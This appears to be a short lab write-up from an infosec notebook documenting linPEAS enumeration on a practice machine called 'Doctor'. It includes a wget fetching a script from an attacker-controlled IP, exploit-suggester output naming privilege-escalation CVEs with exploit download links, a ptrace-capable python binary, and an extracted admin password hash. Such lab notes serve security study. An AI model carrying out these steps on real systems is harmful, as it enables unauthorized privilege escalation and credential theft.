InfoSec LAB

Doctor_Automated

Created: 2 min read

PEAS

web@doctor:/tmp$ wget http://10.10.14.9/linpeas.sh ; chmod 755 /tmp/linpeas.sh
--2023-03-09 16:09:46--  http://10.10.14.9/linpeas.sh
connecting to 10.10.14.9:80... connected.
HTTP request sent, awaiting response... 200 OK
length: 827827 (808K) [text/x-sh]
saving to: ‘linpeas.sh’
 
linpeas.sh          100%[===================>] 808,42K  3,82MB/s    in 0,2s    
 
2023-03-09 16:09:46 (3,82 MB/s) - ‘linpeas.sh’ saved [827827/827827]

Delivery complete

Executing PEAS

CVEs

The target system is confirmed to be vulnerable to CVE-2021-4034 and CVE-2021-3560

╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
cat: write error: Broken pipe
: Broken piperor
[+] [CVE-2022-2586] nft_object UAF
 
   Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
   Exposure: probable
   Tags: [ ubuntu=(20.04) ]{kernel:5.12.13}
   Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
 
[+] [CVE-2021-4034] PwnKit
 
   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
 
[+] [CVE-2021-3156] sudo Baron Samedit
 
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: mint=19,[ ubuntu=18|20 ], debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
 
[+] [CVE-2021-3156] sudo Baron Samedit 2
 
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
 
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
 
   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: probable
   Tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
tent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded
 
[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)
 
   Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
   Exposure: less probable
   Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
   Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

More CVEs

Cron

PEAS also discovered the system-wide cron job

Compilers

PEAS claims that there are compilers installed

Logs

The web user being part of the adm group grants accessing the Apache log files

Capability

/usr/bin/python3.8 has the cap_sys_ptrace+ep capability

DB

PEAS was able to pick up the DB located at /opt/clean/site.db and extract a web credential The password hash, $2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S, is for the admin user

Interactive Graph View

Backlinks